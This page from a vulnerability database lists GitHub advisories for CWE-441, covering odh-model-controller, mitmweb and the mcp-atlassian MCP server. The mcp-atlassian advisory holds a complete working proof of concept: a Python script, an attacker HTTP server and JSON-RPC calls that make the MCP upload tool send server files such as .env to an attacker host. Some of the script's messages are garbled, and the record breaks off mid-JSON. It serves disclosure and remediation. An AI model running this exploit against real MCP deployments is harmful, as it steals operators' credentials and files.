CWE-441
Allowed-with-ReviewUnintended Proxy or Intermediary ('Confused Deputy')
Abstraction: Class · Status: Draft
The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.
258 vulnerabilities reference this CWE, most recent first.
GHSA-W7QG-JG9C-W9MM
Vulnerability from github – Published: 2026-08-10 21:32 – Updated: 2026-08-11 21:32A flaw was found in the odh-model-controller. An authenticated user with permissions to create custom resources can exploit a vulnerability in the loadSecret function. This function improperly reads the Secret namespace from user-controlled input without validation. This allows an attacker to read sensitive API keys and cloud credentials from other namespaces, leading to information disclosure.
{
"affected": [],
"aliases": [
"CVE-2026-16456"
],
"database_specific": {
"cwe_ids": [
"CWE-441"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-10T21:17:19Z",
"severity": "MODERATE"
},
"details": "A flaw was found in the `odh-model-controller`. An authenticated user with permissions to create custom resources can exploit a vulnerability in the `loadSecret` function. This function improperly reads the Secret namespace from user-controlled input without validation. This allows an attacker to read sensitive API keys and cloud credentials from other namespaces, leading to information disclosure.",
"id": "GHSA-w7qg-jg9c-w9mm",
"modified": "2026-08-11T21:32:32Z",
"published": "2026-08-10T21:32:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16456"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:53261"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:53262"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:53263"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-16456"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2503159"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WG33-5H85-7Q5P
Vulnerability from github – Published: 2025-02-06 17:07 – Updated: 2025-02-06 19:54Impact
In mitmweb 11.1.0 and below, a malicious client can use mitmweb's proxy server (bound to *:8080 by default) to access mitmweb's internal API (bound to 127.0.0.1:8081 by default). In other words, while the client cannot access the API directly (good), they can access the API through the proxy (bad). An attacker may be able to escalate this SSRF-style access to remote code execution.
The mitmproxy and mitmdump tools are unaffected. Only mitmweb is affected. The block_global option, which is enabled by default, blocks connections originating from publicly-routable IP addresses in the proxy. The attacker needs to be in the same local network.
Patches
The vulnerability has been fixed in mitmproxy 11.1.2 and above.
Acknowledgements
We thank Stefan Grönke (@gronke) for reporting this vulnerability as part of a security audit by Radically Open Security. This audit was supported by the NGI0 Entrust fund established by NLnet.
Timeline
- 2025-01-14: Received initial report.
- 2025-01-14: Verified report and confirmed receipt.
- 2025-01-19: Shared patch with researcher.
- 2025-02-04: Received final confirmation that patch is working.
- 2025-02-05: Published patched release and advisory.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mitmproxy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-23217"
],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-441"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-06T17:07:41Z",
"nvd_published_at": "2025-02-06T18:15:32Z",
"severity": "HIGH"
},
"details": "### Impact\nIn mitmweb 11.1.0 and below, a malicious client can use mitmweb\u0027s proxy server (bound to `*:8080` by default) to access mitmweb\u0027s internal API (bound to `127.0.0.1:8081` by default). In other words, while the client cannot access the API directly (good), they can access the API through the proxy (bad). An attacker may be able to escalate this [SSRF](https://en.wikipedia.org/wiki/Server-side_request_forgery)-style access to remote code execution.\n\nThe mitmproxy and mitmdump tools are unaffected. Only mitmweb is affected. The `block_global` option, which is enabled by default, blocks connections originating from publicly-routable IP addresses in the proxy. The attacker needs to be in the same local network.\n\n### Patches\n\nThe vulnerability has been fixed in mitmproxy 11.1.2 and above.\n\n### Acknowledgements\n\nWe thank Stefan Gr\u00f6nke (@gronke) for reporting this vulnerability as part of a security audit by [Radically Open Security](https://www.radicallyopensecurity.com/). This audit was supported by the [NGI0 Entrust fund](https://nlnet.nl/entrust/) established by [NLnet](https://nlnet.nl/).\n\n### Timeline\n\n- **2025-01-14**: Received initial report. \n- **2025-01-14**: Verified report and confirmed receipt.\n- **2025-01-19**: Shared patch with researcher.\n- **2025-02-04**: Received final confirmation that patch is working.\n- **2025-02-05**: Published patched release and advisory.",
"id": "GHSA-wg33-5h85-7q5p",
"modified": "2025-02-06T19:54:56Z",
"published": "2025-02-06T17:07:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mitmproxy/mitmproxy/security/advisories/GHSA-wg33-5h85-7q5p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23217"
},
{
"type": "WEB",
"url": "https://github.com/mitmproxy/mitmproxy/commit/fa89055e196d953f11fd241e36ee37858993486a"
},
{
"type": "WEB",
"url": "https://en.wikipedia.org/wiki/Server-side_request_forgery"
},
{
"type": "PACKAGE",
"url": "https://github.com/mitmproxy/mitmproxy"
},
{
"type": "WEB",
"url": "https://github.com/mitmproxy/mitmproxy/blob/main/CHANGELOG.md"
},
{
"type": "WEB",
"url": "https://github.com/mitmproxy/mitmproxy/blob/main/CHANGELOG.md#06-february-2025-mitmproxy-1112"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Mitmweb API Authentication Bypass Using Proxy Server"
}
GHSA-WV8V-V4C5-V75J
Vulnerability from github – Published: 2026-09-22 20:34 – Updated: 2026-09-22 20:34Summary
The mcp-atlassian server exposes an MCP tool (confluence_upload_attachment and the Jira attachment variant) that accepts an arbitrary server-side file path and opens it for upload without any path validation. When the server is deployed in HTTP transport mode (streamable-http or sse), a remote, unauthenticated attacker can supply attacker-controlled Atlassian service headers (X-Atlassian-Confluence-Url / X-Atlassian-Confluence-Personal-Token) to redirect the upload to an attacker-controlled endpoint, then pass an arbitrary file_path (e.g. /etc/passwd, ~/.env, SSH private keys, cloud credentials) to exfiltrate any file readable by the server process. No prior account, session token, or Authorization header is required. The vulnerability was confirmed through both static code analysis (Phase 1) and a live Docker-based proof-of-concept (Phase 2).
Details
Data flow (source → sink)
| Step | Location | Role |
|---|---|---|
| 1 | src/mcp_atlassian/servers/main.py:498-504 |
Middleware extracts X-Atlassian-Confluence-Url and X-Atlassian-Confluence-Personal-Token from incoming HTTP request headers. |
| 2 | src/mcp_atlassian/servers/main.py:584-595 |
When no Authorization header is present but service headers are, user_atlassian_auth_type is set to "pat", effectively bypassing authentication requirements. |
| 3 | src/mcp_atlassian/utils/urls.py:97-104 |
validate_url_for_ssrf blocks only localhost, RFC 1918 private ranges, and a small set of metadata hostnames. An attacker-controlled public domain or an allow-listed Docker container hostname (MCP_ALLOWED_URL_DOMAINS) passes this check. |
| 4 | src/mcp_atlassian/servers/dependencies.py:544-545 |
The attacker-controlled URL is injected directly as url= into ConfluenceConfig, constructing a ConfluenceFetcher pointed at the attacker's server. |
| 5 | src/mcp_atlassian/servers/confluence.py:1358-1361 |
The MCP tool argument file_path is forwarded to confluence_fetcher.upload_attachment() without any sanitization. |
| 6 | src/mcp_atlassian/confluence/attachments.py:64-79 |
The path is converted to an absolute path via os.path.abspath() and checked for existence only. validate_safe_path() — already used on download paths — is never called here, leaving no directory restriction in place. |
| 7 | src/mcp_atlassian/confluence/attachments.py:477 |
Sink: files = {"file": (filename, open(file_path, "rb"))} — the file is opened and sent as multipart to the attacker's server. |
| 8 | src/mcp_atlassian/jira/attachments.py:374-386 |
Parallel Jira sink: same os.path.abspath() pattern, no validate_safe_path, then open(file_path, "rb"). |
Key code evidence
# src/mcp_atlassian/confluence/attachments.py
64: if not os.path.isabs(file_path):
65: file_path = os.path.abspath(file_path)
68: if not os.path.exists(file_path):
77: filename = os.path.basename(file_path)
477: files = {"file": (filename, open(file_path, "rb"))} # ← sink
# src/mcp_atlassian/jira/attachments.py
374: if not os.path.isabs(file_path):
375: file_path = os.path.abspath(file_path)
386: with open(file_path, "rb") as file: # ← sink
387: attachment = self.jira.add_attachment(
Why validate_safe_path is absent: The function exists in the codebase and is correctly applied to download/read operations, but it was not applied to the upload path. This asymmetry means an attacker can read any file the server process can access, even though the intent was clearly to restrict path access.
Default configuration enables the attack: READ_ONLY_MODE defaults to false, making write tools (including attachment upload) active by default. HTTP transport is a first-class, documented production deployment mode (README, Helm chart, multi-tenant header-auth design).
Recommended remediation
--- a/src/mcp_atlassian/confluence/attachments.py
+++ b/src/mcp_atlassian/confluence/attachments.py
- if not os.path.isabs(file_path):
- file_path = os.path.abspath(file_path)
+ file_path = str(validate_safe_path(file_path))
filename = os.path.basename(file_path)
- files = {"file": (filename, open(file_path, "rb"))}
+ with open(file_path, "rb") as file_obj:
+ files = {"file": (filename, file_obj)}
+ response = self.confluence._session.put(
+ url, headers=headers, files=files, data=data
+ )
- response = self.confluence._session.put(
- url, headers=headers, files=files, data=data
- )
--- a/src/mcp_atlassian/jira/attachments.py
+++ b/src/mcp_atlassian/jira/attachments.py
- if not os.path.isabs(file_path):
- file_path = os.path.abspath(file_path)
+ file_path = str(validate_safe_path(file_path))
Additional hardening: reject header-based service URLs before fetcher construction using validate_url_for_ssrf with a strict allowlist, and consider defaulting READ_ONLY_MODE=true for remotely reachable deployments.
PoC
Prerequisites
- Docker (CLI + daemon) available on the attacker machine.
- Python 3.x with
httpxinstalled (pip install httpx). - The
mcp-atlassianrepository cloned locally (commitd8bc786or compatible).
Step 1 — Build the victim image
The Dockerfile at vuln-001/Dockerfile builds the mcp-atlassian server and plants a simulated .env file at /home/app/.env containing fake secrets:
SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3
DB_PASSWORD=pr0duct10n_d4tab4se_p4ss
AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY
docker build -t mcp-atlassian-vuln001 \
-f vuln-001/Dockerfile \
/path/to/mcp-atlassian-repo
Step 2 — Run the automated PoC script
The poc.py script orchestrates the full attack:
python3 poc.py \
--repo /path/to/mcp-atlassian-repo \
--victim-port 18000 \
--attacker-port 18888
The script performs the following actions automatically:
- Creates a Docker network (
poc-vuln001-net). - Starts an attacker HTTP server container (
poc-vuln001-attacker, port18888) that mimics a Confluence REST API and records multipart upload bodies. - Starts the victim MCP server container (
poc-vuln001-victim, port18000) withREAD_ONLY_MODE=falseandMCP_ALLOWED_URL_DOMAINS=poc-vuln001-attacker. - Sends the following MCP JSON-RPC sequence to
http://127.0.0.1:18000/mcp:
# Step 4a — initialize (no Authorization header)
headers = {
"X-Atlassian-Confluence-Url": "http://poc-vuln001-attacker:8888",
"X-Atlassian-Confluence-Personal-Token": "fake-pat-token-for-poc",
}
POST /mcp {"jsonrpc":"2.0","method":"initialize","id":1,
"params":{"protocolVersion":"2024-11-05","capabilities":{},
"clientInfo":{"name":"vuln001-poc","version":"1.0"}}}
# Step 4b — trigger file exfiltration
POST /mcp {"jsonrpc":"2.0","method":"tools/call","id":3,
"params":{"name":"confluence_upload_attachment",
"arguments":{"content_id":"123",
"file_path":"/home/app/.env"}}}
- Queries
http://127.0.0.1:18888/exfiland verifies that the attacker server received the file contents.
Expected result
The attacker server logs and /exfil endpoint confirm receipt of the victim file:
[attacker] *** EXFILTRATED FILE CONTENT START ***
SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3
DB_PASSWORD=pr0duct10n_d4tab4se_p4ss
AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY
[attacker] *** EXFILTRATED FILE CONTENT END ***
Phase 2 result: PASS — file exfiltration confirmed via live Docker PoC.
Impact
Vulnerability class: Unauthenticated server-side file exfiltration through an unvalidated path passed to an MCP attachment upload tool, combined with attacker-controlled service URL injection via HTTP request headers.
Who is impacted:
- Operators running
mcp-atlassianin HTTP transport mode (streamable-httporsse) on a network-reachable endpoint withREAD_ONLY_MODE=false(the default). This includes multi-tenant SaaS deployments, internal tooling servers exposed to a broader corporate network, and any cloud-hosted instance. - Users whose secrets are stored on the server filesystem are at risk of credential theft —
.envfiles, SSH private keys, cloud provider credentials (~/.aws/credentials), kubeconfig files, TLS certificates, and any other file readable by the process.
Constraints on exploitability:
- The server must be running in HTTP transport mode (not the default
stdiomode). READ_ONLY_MODEmust not be set totrue.- The attacker must be able to reach the
/mcpendpoint (adjacent network or internet, depending on deployment). - The SSRF domain allowlist (
MCP_ALLOWED_URL_DOMAINS) must permit the attacker's hostname, or the attacker must control a public domain that passes the IP blocklist check.
Despite these preconditions, all are met in documented production deployment configurations described in the project's own README and Helm chart.
Reproduction artifacts
Dockerfile
# VULN-001 PoC Victim Image
# Build con: mcp-atlassian repo root (use: docker build -f vuln-001/Dockerfile .)
# Builds the mcp-atlassian server and creates a secret file for exfiltration demonstration.
FROM ghcr.io/astral-sh/uv:python3.13-alpine AS builder
WORKDIR /app
ENV UV_COMPILE_BYTECODE=1
ENV UV_LINK_MODE=copy
# Copy dependency files
COPY pyproject.toml README.md uv.lock ./
# Install dependencies (without the project itself to leverage caching)
RUN --mount=type=cache,target=/root/.cache/uv \
uv sync --frozen --no-install-project --no-dev --no-editable
# Copy source and install the project
COPY src ./src
RUN --mount=type=cache,target=/root/.cache/uv \
uv sync --frozen --no-dev --no-editable
# Strip bytecode cache to reduce image size
RUN find /app/.venv -name '__pycache__' -type d -exec rm -rf {} + 2>/dev/null || true && \
find /app/.venv -name '*.pyc' -delete 2>/dev/null || true
# ── Final Stage ──────────────────────────────────────────────────────────────
FROM python:3.13-alpine
# Create non-root user mirroring a typical prod deployment
RUN adduser -D -h /home/app -s /bin/sh app
# Plant a sensitive file that the PoC will exfiltrate
RUN printf 'SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3\n' > /home/app/.env && \
printf 'DB_PASSWORD=pr0duct10n_d4tab4se_p4ss\n' >> /home/app/.env && \
printf 'AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY\n' >> /home/app/.env && \
chown app:app /home/app/.env
WORKDIR /app
USER app
COPY --from=builder --chown=app:app /app/.venv /app/.venv
ENV PATH="/app/.venv/bin:$PATH"
ENV PYTHONUNBUFFERED=1
# Default: streamable-http on 0.0.0.0:8000 (overridable at runtime)
ENTRYPOINT ["mcp-atlassian"]
CMD ["--transport", "streamable-http", "--port", "8000", "--host", "0.0.0.0"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 PoC — MCP HTTP Client: Server-Local File Exfiltration via
Unvalidated Attachment Upload Path (CWE-200, CVSS 7.4)
Attack chain:
1. Attacker sends X-Atlassian-Confluence-Url / Personal-Token headers — no
Authorization header required (unauthenticated PAT path, main.py:584-595).
2. SSRF check passes because MCP_ALLOWED_URL_DOMAINS whitelists the attacker
container hostname, bypassing DNS validation (urls.py:107-111).
3. ConfluenceFetcher is constructed with the attacker-controlled URL
(dependencies.py:544-545).
4. confluence_upload_attachment is called with file_path=/home/app/.env —
the path is absolutized but never validated against a safe root
(attachments.py:64-79).
5. The file is opened and PUT-ed as multipart to the attacker server
(attachments.py:477,490).
Usage:
python3 poc.py [--repo /path/to/repo] [--victim-port 18000]
[--attacker-port 18888] [--no-cleanup]
Requirements on the host running this script:
- docker (CLI + daemon)
- python3 with httpx (pip install httpx)
"""
import argparse
import json
import os
import subprocess
import sys
import textwrap
import time
# ── constants ──────────────────────────────────────────────────────────────
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
DEFAULT_REPO = os.path.join(
os.path.dirname(SCRIPT_DIR), "repo"
)
DOCKERFILE_PATH = os.path.join(SCRIPT_DIR, "Dockerfile")
NETWORK_NAME = "poc-vuln001-net"
VICTIM_NAME = "poc-vuln001-victim"
ATTACKER_NAME = "poc-vuln001-attacker"
VICTIM_IMAGE = "mcp-atlassian-vuln001"
ATTACKER_IMAGE = "python:3.12-slim"
TARGET_FILE = "/home/app/.env" # sensitive file planted in the victim image
# ── attacker server source (injected into the attacker container) ──────────
ATTACKER_SERVER_SRC = textwrap.dedent(r"""
import http.server, json, re, sys, threading
_exfil = [] # captured files
class H(http.server.BaseHTTPRequestHandler):
def log_message(self, fmt, *a):
print(f"[attacker-http] {fmt % a}", flush=True)
# Confluence auth probe — return a minimal valid user object
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
if self.path.rstrip("/") == "/exfil":
self.wfile.write(json.dumps({"files": _exfil}).encode())
elif self.path.rstrip("/") == "/ready":
self.wfile.write(b'{"status":"ok"}')
else:
self.wfile.write(json.dumps({
"key": "attacker-user", "displayName": "Attacker",
"emailAddress": "attacker@evil.example", "active": True,
"accountType": "atlassian"
}).encode())
def do_PUT(self): self._recv()
def do_POST(self): self._recv()
def _recv(self):
cl = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(cl) if cl else b""
ct = self.headers.get("Content-Type", "")
print(f"[attacker] {self.command} {self.path} body={len(body)}b ct={ct}", flush=True)
file_data = b""
if "multipart" in ct and body:
bm = re.search(r"boundary[=\s]+([\w\-]+)", ct)
if bm:
boundary = bm.group(1).encode()
for part in body.split(b"--" + boundary):
if b"\r\n\r\n" not in part:
continue
hdr, _, data = part.partition(b"\r\n\r\n")
if b'name="file"' in hdr or b"filename" in hdr:
file_data = data.rstrip(b"\r\n--")
break
if file_data:
text = file_data.decode(errors="replace")
print("[attacker] *** EXFILTRATED FILE CONTENT START ***", flush=True)
print(text[:4096], flush=True)
print("[attacker] *** EXFILTRATED FILE CONTENT END ***", flush=True)
_exfil.append({"path": self.path, "content": text[:4096], "size": len(file_data)})
else:
print("[attacker] WARNING: no file data found in request", flush=True)
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps({
"results": [{
"id": "att-001", "type": "attachment", "title": "exfiltrated",
"metadata": {"mediaType": "text/plain"},
"extensions": {"fileSize": len(file_data)}
}]
}).encode())
server = http.server.HTTPServer(("0.0.0.0", 8888), H)
print("[attacker] listening on 0.0.0.0:8888", flush=True)
sys.stdout.flush()
server.serve_forever()
""").strip()
# ── helpers ────────────────────────────────────────────────────────────────
def run(cmd: str, **kw):
r = subprocess.run(cmd, shell=True, capture_output=True, text=True, **kw)
return r.returncode, r.stdout, r.stderr
def run_ok(cmd: str, label: str = "") -> str:
rc, out, err = run(cmd)
if rc != 0:
tag = f" ({label})" if label else ""
print(f"[FAIL] Command{tag} exited {rc}:\n cmd: {cmd}\n stdout: {out}\n stderr: {err}", file=sys.stderr)
sys.exit(1)
return out
def docker_logs(name: str) -> str:
_, out, err = run(f"docker logs {name} 2>&1")
return out + err
def wait_http(url: str, timeout: int = 60, interval: float = 1.5) -> bool:
import urllib.request
deadline = time.time() + timeout
while time.time() < deadline:
try:
with urllib.request.urlopen(url, timeout=3) as r:
if r.status < 500:
return True
except Exception:
pass
time.sleep(interval)
return False
def cleanup(victim_name: str, attacker_name: str, network: str):
run(f"docker rm -f {victim_name} {attacker_name} 2>/dev/null")
run(f"docker network rm {network} 2>/dev/null")
def parse_sse_result(text: str) -> dict | None:
"""Extract the first JSON-RPC result from an SSE or plain-JSON body."""
for line in text.splitlines():
line = line.strip()
if line.startswith("data:"):
payload = line[5:].strip()
elif line.startswith("{"):
payload = line
else:
continue
try:
obj = json.loads(payload)
if "result" in obj or "error" in obj:
return obj
except json.JSONDecodeError:
continue
return None
# ── MCP client (pure stdlib + httpx) ──────────────────────────────────────
def mcp_exploit(victim_url: str, attacker_container_url: str, target_file: str) -> dict:
"""
Drive the MCP streamable-http protocol to call confluence_upload_attachment
with an arbitrary file_path.
Returns a dict with keys: success, session_id, response_text, error.
"""
import httpx
service_headers = {
"X-Atlassian-Confluence-Url": attacker_container_url,
"X-Atlassian-Confluence-Personal-Token": "fake-pat-token-for-poc",
}
base_headers = {
**service_headers,
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
}
with httpx.Client(timeout=30) as client:
# ── 1. initialize ──────────────────────────────────────────────
print(f"[poc] Sending initialize to {victim_url}")
resp = client.post(victim_url, headers=base_headers, json={
"jsonrpc": "2.0", "method": "initialize", "id": 1,
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "vuln001-poc", "version": "1.0"},
}
})
if resp.status_code not in (200, 201):
return {"success": False, "error": f"initialize failed: HTTP {resp.status_code}\n{resp.text[:400]}"}
session_id = resp.headers.get("mcp-session-id") or resp.headers.get("Mcp-Session-Id")
print(f"[poc] Session-Id: {session_id}")
session_headers = {**base_headers}
if session_id:
session_headers["Mcp-Session-Id"] = session_id
# ── 2. notifications/initialized ──────────────────────────────
client.post(victim_url, headers=session_headers, json={
"jsonrpc": "2.0", "method": "notifications/initialized"
})
# ── 3. tools/list (optional, just for visibility) ─────────────
try:
tl = client.post(victim_url, headers=session_headers, json={
"jsonrpc": "2.0", "method": "tools/list", "id": 2, "params": {}
})
tools_obj = parse_sse_result(tl.text) or {}
if "result" in tools_obj:
names = [t["name"] for t in tools_obj["result"].get("tools", [])]
print(f"[poc] Tools available: {names}")
if "confluence_upload_attachment" not in names:
print("[poc] WARNING: confluence_upload_attachment not in tools/list "
"(will still attempt tools/call)")
except Exception as e:
print(f"[poc] tools/list skipped: {e}")
# ── 4. tools/call ─────────────────────────────────────────────
print(f"[poc] Calling confluence_upload_attachment file_path={target_file}")
resp2 = client.post(victim_url, headers=session_headers, json={
"jsonrpc": "2.0", "method": "tools/call", "id": 3,
"params": {
"name": "confluence_upload_attachment",
"arguments": {
"content_id": "123",
"file_path": target_file,
}
}
}, timeout=30)
return {
"success": True,
"session_id": session_id,
"status_code": resp2.status_code,
"response_text": resp2.text[:2000],
"error": None,
}
# ── main ──────────────────────────────────────────────────────────────────
def main():
ap = argparse.ArgumentParser(description="VULN-001 PoC runner")
ap.add_argument("--repo", default=DEFAULT_REPO)
ap.add_argument("--victim-port", type=int, default=18000)
ap.add_argument("--attacker-port", type=int, default=18888)
ap.add_argument("--no-cleanup", action="store_true")
args = ap.parse_args()
repo_path = os.path.abspath(args.repo)
victim_port = args.victim_port
attacker_port = args.attacker_port
print("=" * 60)
print("VULN-001 PoC — MCP File Exfiltration via Attachment Upload")
print("=" * 60)
print(f"Repo: {repo_path}")
print(f"Dockerfile: {DOCKERFILE_PATH}")
print(f"Victim port: {victim_port}")
print(f"Attacker port: {attacker_port}")
print()
# ── 0. pre-flight ─────────────────────────────────────────────────
cleanup(VICTIM_NAME, ATTACKER_NAME, NETWORK_NAME)
# ── 1. build victim image ─────────────────────────────────────────
print("[*] Building victim image (this may take a few minutes)...")
rc, out, err = run(
f"docker build --no-cache -t {VICTIM_IMAGE} "
f"-f {DOCKERFILE_PATH} {repo_path}"
)
if rc != 0:
print(f"[FAIL] docker build failed:\n{err[-3000:]}", file=sys.stderr)
sys.exit(1)
print(f"[+] Victim image built: {VICTIM_IMAGE}")
# ── 2. create network ─────────────────────────────────────────────
print("[*] Creating Docker network...")
run_ok(f"docker network create {NETWORK_NAME}", "network create")
print(f"[+] Network created: {NETWORK_NAME}")
try:
# ── 3. start attacker container ────────────────────────────────
print("[*] Starting attacker HTTP server...")
attacker_code_escaped = ATTACKER_SERVER_SRC.replace("'", "'\"'\"'")
run_ok(
f"docker run -d "
f"--network {NETWORK_NAME} "
f"--name {ATTACKER_NAME} "
f"-p {attacker_port}:8888 "
f"{ATTACKER_IMAGE} "
f"python3 -c '{attacker_code_escaped}'",
"start attacker"
)
if not wait_http(f"http://127.0.0.1:{attacker_port}/ready", timeout=30):
print("[FAIL] Attacker server did not start in time")
print(docker_logs(ATTACKER_NAME))
sys.exit(1)
print(f"[+] Attacker server ready on port {attacker_port}")
# ── 4. start victim container ──────────────────────────────────
print("[*] Starting victim MCP server...")
run_ok(
f"docker run -d "
f"--network {NETWORK_NAME} "
f"--name {VICTIM_NAME} "
f"-p {victim_port}:8000 "
f"-e TRANSPORT=streamable-http "
f"-e MCP_ALLOWED_URL_DOMAINS={ATTACKER_NAME} "
f"-e READ_ONLY_MODE=false "
f"-e MCP_LOGGING_STDOUT=true "
f"-e MCP_VERBOSE=true "
f"{VICTIM_IMAGE} "
f"--transport streamable-http --port 8000 --host 0.0.0.0",
"start victim"
)
print("[*] Waiting for victim MCP server to be ready...")
if not wait_http(f"http://127.0.0.1:{victim_port}/healthz", timeout=60):
print("[FAIL] Victim server did not start in time")
print(docker_logs(VICTIM_NAME))
sys.exit(1)
print(f"[+] Victim MCP server ready on port {victim_port}")
# ── 5. run the exploit ─────────────────────────────────────────
print()
print("[*] Launching MCP exploit...")
victim_mcp_url = f"http://127.0.0.1:{victim_port}/mcp"
attacker_container_url = f"http://{ATTACKER_NAME}:8888"
result = mcp_exploit(victim_mcp_url, attacker_container_url, TARGET_FILE)
if not result["success"]:
print(f"[FAIL] MCP exploit error: {result['error']}")
print("Victim logs:\n", docker_logs(VICTIM_NAME)[-2000:])
sys.exit(1)
print(f"[poc] tools/call HTTP {result['status_code']}")
print(f"[poc] Response:\n{result['response_text']}")
# ── 6. verify exfiltration ─────────────────────────────────────
time.sleep(2)
import urllib.request
with urllib.request.urlopen(
f"http://127.0.0.1:{attacker_port}/exfil", timeout=5
) as r:
exfil_data = json.loads(r.read())
attacker_raw_logs = docker_logs(ATTACKER_NAME)
print()
print("Attacker server logs:")
print(attacker_raw_logs[-4000:])
files = exfil_data.get("files", [])
confirmed = bool(files) or (
"EXFILTRATED FILE CONTENT" in attacker_raw_logs
and "SECRET_DEPLOY_KEY" in attacker_raw_logs
)
evidence_snippet = ""
if files:
evidence_snippet = files[0].get("content", "")[:500]
elif "EXFILTRATED FILE CONTENT START" in attacker_raw_logs:
start = attacker_raw_logs.find("EXFILTRATED FILE CONTENT START") + len("EXFILTRATED FILE CONTENT START") + 4
end = attacker_raw_logs.find("EXFILTRATED FILE CONTENT END", start)
evidence_snippet = attacker_raw_logs[start:end].strip()[:500]
print()
if confirmed:
print("[PASS] file leak confirmed — attacker servertext victim containertext sensitive filetext receivedtext.")
print(f"[PASS] Evidence snippet:\n{evidence_snippet}")
else:
print("[FAIL] file leak evidencetext checktext text.")
print("attacker_logs:", attacker_raw_logs[-1000:])
# ── 7. write phase2_result.json ────────────────────────────────
phase2 = {
"passed": confirmed,
"verdict": "PASS" if confirmed else "FAIL",
"reason": (
"MCP HTTP clienttext X-Atlassian-Confluence-Url / Personal-Token headeronlyas "
"without authentication ConfluenceFetchertext createtext, confluence_upload_attachment tooltext "
"file_path=/home/app/.envtext path verification text open() and attacker servertext senddone. "
"attachments.py:477 open(file_path,'rb')text sensitive filetext text multipart PUT requesttext containsdone."
if confirmed else
"attacker servertext file receivedtext checktext could not — logtext referenceand failure cause text required."
),
"build_command": (
f"docker build -t {VICTIM_IMAGE} "
f"-f {DOCKERFILE_PATH} {repo_path}"
),
"run_command": (
f"docker network create {NETWORK_NAME} && "
f"docker run -d --network {NETWORK_NAME} --name {ATTACKER_NAME} "
f"-p {attacker_port}:8888 {ATTACKER_IMAGE} python3 -c '<attacker_server_src>' && "
f"docker run -d --network {NETWORK_NAME} --name {VICTIM_NAME} "
f"-p {victim_port}:8000 "
f"-e TRANSPORT=streamable-http "
f"-e MCP_ALLOWED_URL_DOMAINS={ATTACKER_NAME} "
f"-e READ_ONLY_MODE=false "
f"{VICTIM_IMAGE} --transport streamable-http --port 8000 --host 0.0.0.0"
),
"poc_command": (
f"python3 {os.path.basename(__file__)} "
f"--repo {repo_path} "
f"--victim-port {victim_port} "
f"--attacker-port {attacker_port}"
),
"evidence": evidence_snippet or attacker_raw_logs[-500:],
"artifacts": ["Dockerfile", "poc.py"],
}
result_path = os.path.join(SCRIPT_DIR, "phase2_result.json")
with open(result_path, "w") as f:
json.dump(phase2, f, indent=2, ensure_ascii=False)
print(f"\n[*] phase2_result.json written: {result_path}")
finally:
if not args.no_cleanup:
print("[*] Cleaning up containers and network...")
cleanup(VICTIM_NAME, ATTACKER_NAME, NETWORK_NAME)
print("[*] Cleanup done.")
else:
print(f"[*] --no-cleanup: containers left running ({VICTIM_NAME}, {ATTACKER_NAME})")
if __name__ == "__main__":
main()
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mcp-atlassian"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77246"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-22",
"CWE-441"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T20:34:45Z",
"nvd_published_at": null,
"severity": "HIGH"
},
